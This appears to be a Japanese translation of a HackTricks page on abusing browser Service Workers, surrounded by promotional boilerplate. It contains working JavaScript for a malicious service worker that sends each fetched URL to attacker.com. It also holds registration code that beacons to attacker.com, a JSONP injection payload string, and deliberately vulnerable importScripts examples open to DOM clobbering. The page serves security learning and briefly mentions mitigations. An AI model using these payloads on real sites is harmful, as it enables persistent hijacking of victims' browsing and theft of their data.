11 KiB
Service Workersの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricks swagを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本情報
サービスワーカーは、ウェブページとは別に、ブラウザがバックグラウンドで実行するスクリプトであり、ウェブページやユーザーの操作を必要としない機能を提供することができます。(サービスワーカーとは何かについての詳細はこちら)。
その後、サービスワーカーを悪用することができます。これは、被害者セッション内の脆弱なウェブドメインでそれらを作成/変更することにより、攻撃者がそのドメインで被害者が読み込むすべてのページを制御することができるようになります。
既存のSWを確認する
開発者ツールのアプリケーションタブのService Workersフィールドでそれらを確認することができます。また、chrome://serviceworker-internalsを参照することもできます。
プッシュ通知
被害者がプッシュ通知の許可を与えていない場合、サービスワーカーはユーザーが再び攻撃者のページにアクセスしない限り、サーバーからの通信を受信することはできません。これにより、たとえば、攻撃者のウェブページにアクセスしたすべてのページとの会話を維持することができず、SWが見つかった場合にそれを受信して実行することができません。
ただし、被害者がプッシュ通知の許可を与えた場合、これはリスクとなる可能性があります。
サービスワーカーの作成による攻撃
この脆弱性を悪用するには、次のものを見つける必要があります。
- 任意のJSファイルをサーバーにアップロードする方法と、アップロードされたJSファイルのサービスワーカーをロードするXSS
- 脆弱なJSONPリクエストで出力を**操作できる方法(任意のJSコードで)**と、ペイロードでJSONPをロードするXSSが必要です。これにより、悪意のあるサービスワーカーをロードすることができます。
以下の例では、fetch
イベントをリッスンし、取得したURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録するコードを示します(これは、サーバーにアップロードするか、脆弱なJSONP応答を介してロードするためのコードです)。
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
そして、これがワーカーを登録するコードです(XSSを悪用して実行できるはずのコード)。この場合、攻撃者のサーバーにGETリクエストが送信され、サービスワーカーの登録が成功したかどうかが通知されます。
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
脆弱なJSONPエンドポイントを悪用する場合、値をvar sw
の内部に配置する必要があります。例えば:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Service Workersの悪用に特化したC2であるShadow Workersは、これらの脆弱性を悪用するのに非常に役立ちます。
XSSの状況では、24時間のキャッシュディレクティブ制限により、悪意のあるまたは侵害されたSWは、XSSの脆弱性の修正よりも最大24時間(クライアントがオンラインである場合)生き残ることが保証されます。サイトの運営者は、SWスクリプトのTTLを低く設定することで脆弱性の時間枠を短縮することができます。また、開発者には、キルスイッチSWを作成することをお勧めします。
DOM Clobberingを介したSWでのimportScripts
の悪用
Service Workerから呼び出される**importScripts
関数は、異なるドメインからスクリプトをインポートすることができます。この関数が攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポートし、XSSを取得することができます。
これはCSPの保護を回避することさえ可能です。
脆弱なコードの例:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
DOM Clobberingを使用する
DOM Clobberingについての詳細は以下を参照してください:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
もしSWがHTML要素内で使用しているURL/ドメインで**importScripts
を呼び出している場合、DOM Clobberingを使用してそれを変更することが可能です。これにより、SWが自分自身のドメインからスクリプトを読み込むように**することができます。
これに関する例は参照リンクを確認してください。
参考文献
最も重要な脆弱性を見つけ、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。